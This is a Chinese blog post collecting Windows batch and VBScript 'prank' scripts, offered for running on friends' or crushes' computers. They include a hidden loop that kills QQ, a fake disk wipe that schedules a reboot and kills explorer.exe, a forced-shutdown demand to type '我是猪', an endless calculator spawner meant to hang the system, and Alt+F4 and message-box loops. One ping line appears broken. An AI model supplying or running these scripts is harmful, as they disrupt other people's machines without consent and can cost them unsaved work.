Python整蛊代码合集：从恶搞到表白，加速友谊的小船说翻就翻

Mia

发布时间：2026-10-14 | 4人浏览过

原创

本文整理了一系列基于Windows环境的整蛊代码，涵盖批处理（bat）与VBScript（vbs）两种格式。内容包含限制QQ运行、模拟磁盘格式化、强制关机倒计时、无限弹窗及表白互动等趣味脚本。通过简单的文件后缀修改即可运行，旨在提供朋友间互动的娱乐素材，同时提醒用户注意使用边界，避免造成设备实际损坏或数据丢失。

导语

大家好！我是木木子。最近我对编写各种整蛊类型的代码产生了浓厚的兴趣，觉得既有趣又充满挑战。

虽然编写过程中遇到了不少坑，但越玩越觉得上瘾。这里整理了一些实用的整蛊代码片段，好东西当然要分享给大家。

每周一招，这是维护（或者破坏）友谊的小秘诀。欢迎大家来到木木子新开的——友（zheng）爱（gu）小课堂！

今天木木子为大家准备了几个整蛊朋友的办法，赶快拉上身边还愿意陪你的老铁试一试这几招吧！

如果是发给心仪对象的，效果可能更显著哦！想让女神或男神追着你跑吗？那还不赶紧学起来！

正文

Come On，我们来点有技术含量的！嘿嘿嘿~

（1）限制QQ运行。


@echo off
if "%1" == "h" goto begin
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
:begin
tasklist |find /i "QQ.exe"
if %errorlevel%==0 (goto killit) else (goto next)
:killit
taskkill /f /im QQ.exe
:next
ping -n 3 127.t >nul 2>nul
goto begin

将上述代码保存为txt格式，然后将文件后缀名改为.bat，双击运行后，对方的QQ进程将被强制结束，无法正常运行。

（2）模拟磁盘格式化。


@ color 4f 
    @echo off
    echo 删除计算机的C盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    echo.
    echo 删除计算机的D盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    echo.
    echo 删除计算机的E盘的所有文件......
    ping 127.0.0.1 /n 2 >nul
    echo 已删除完毕
    @ color
    echo.
    echo. =========================================
    echo. 啊哈哈，都删关，都杀关，哈哈 ……
    echo. =========================================
    echo. 系统将马上崩溃......
    echo. 这是一个木马程序......您的所有资料已经传到 XXXX@163.com
    shutdown /r /t 30 /c "电脑在30s内即将崩溃,哈哈，你活该！"
    ntsd -c q -pn explorer.exe
    ping 127.0.0.1 /n 20 >nul
    start explorer.exe
    shutdown -a

将上述代码保存为txt格式，然后将文件后缀名改为.bat即可运行。运行后，屏幕会显示正在删除C盘、D盘和E盘的文件，造成磁盘被格式化的假象。

当然，这仅仅是视觉上的欺骗，并不会真正删除文件。目的是用来吓唬对方，希望你玩得开心。

（3）强制对方承认是猪。


set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a <> "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪""    ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"

新建一个记事本，将上述代码复制进去，另存为.vbe格式（或.vbs）即可。运行后，对方必须输入“我是猪”才能关闭弹窗或停止关机倒计时。

（4）模拟系统死机。


set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop

新建一个记事本，将上述代码复制进去，另存为.vbe格式（或.vbs）即可。

该脚本会不断打开计算器窗口，直到系统资源耗尽导致死机。

（5）无限循环提示“You are pig!”。


do 
msgbox "You are pig!" 
loop

(6) 重复弹出对话框200次。


Set WshShell = WScript.Createobject("WScript.Shell")
for i = 1 to 200
WScript.Sleep 1
WshShell.SendKeys"^v"
wshShell.SendKeys"{ENTER}"
next

（7）强制要求点击200次回车键。


for i = 0 to 200 
msgbox "回车[滑稽]",64
next

（8）Alt+F4快捷键恶搞。


do
Set WshShell = WScript.Createobject("WScript.Shell")
WshShell.SendKeys "%{F4}"    '%代表Alt'
loop

（9）问答互动形式。


a=msgbox "你是不是有点儿蠢?",vbOKCancel
if a = vbOK then
msgbox("确实有点儿！")
elseif a=vbCancel then
do
msgbox("蠢蠢的！")
loop

问答场景二：模拟借钱时的尴尬对话，效果令人捧腹。


msgbox "你在吗",vbQuestion,"在吗"
msgbox ("我借你1w块钱")
msgbox ("1个月给你")
msgbox ("不给，我就是PIG")
dim j
do while j<1
Select Case msgbox("借给我好吗",68,"请郑重的回答我")
Case 6 j=1
Case 7 msgbox("想好了再说")
end Select
loop
msgbox("我就知道你会同意的，哈哈哈哈")

（10）强制表白脚本。


Dim Style,  Title, Help, Ctxt,MyString '定义变量
Dim Msg1,Msg2,Msg3      '定义消息文本
Dim Response                 '定义返回对象
Dim Msg()
redim Msg(4)
Msg(0)="做我女朋友好不好？"
Msg(1)="就知道你会说好！"
Msg(2)="你是我的小可爱嘞！"
Msg(3)="所以我必须是你的大可爱！"
Style=vbYesNo+vbInformation
Title="小姐姐是我的小可爱"
 
for i=0 to 3
     Response=MsgBox(Msg(i),Style,Title)
     If Response=vbYes Then ' 用户选择[是]
          MyString="Yes"        ' Perform some action.
          Response=MsgBox("4号小姐姐搞定",vtOKonly,Title)
          exit for
     Else    ' 用户选择[否].
           MyString="No"        ' Perform some action.
           If  i =3 Then
                i=-1
                End If
           End If 
Next

效果截图——vbs运行后的初始界面：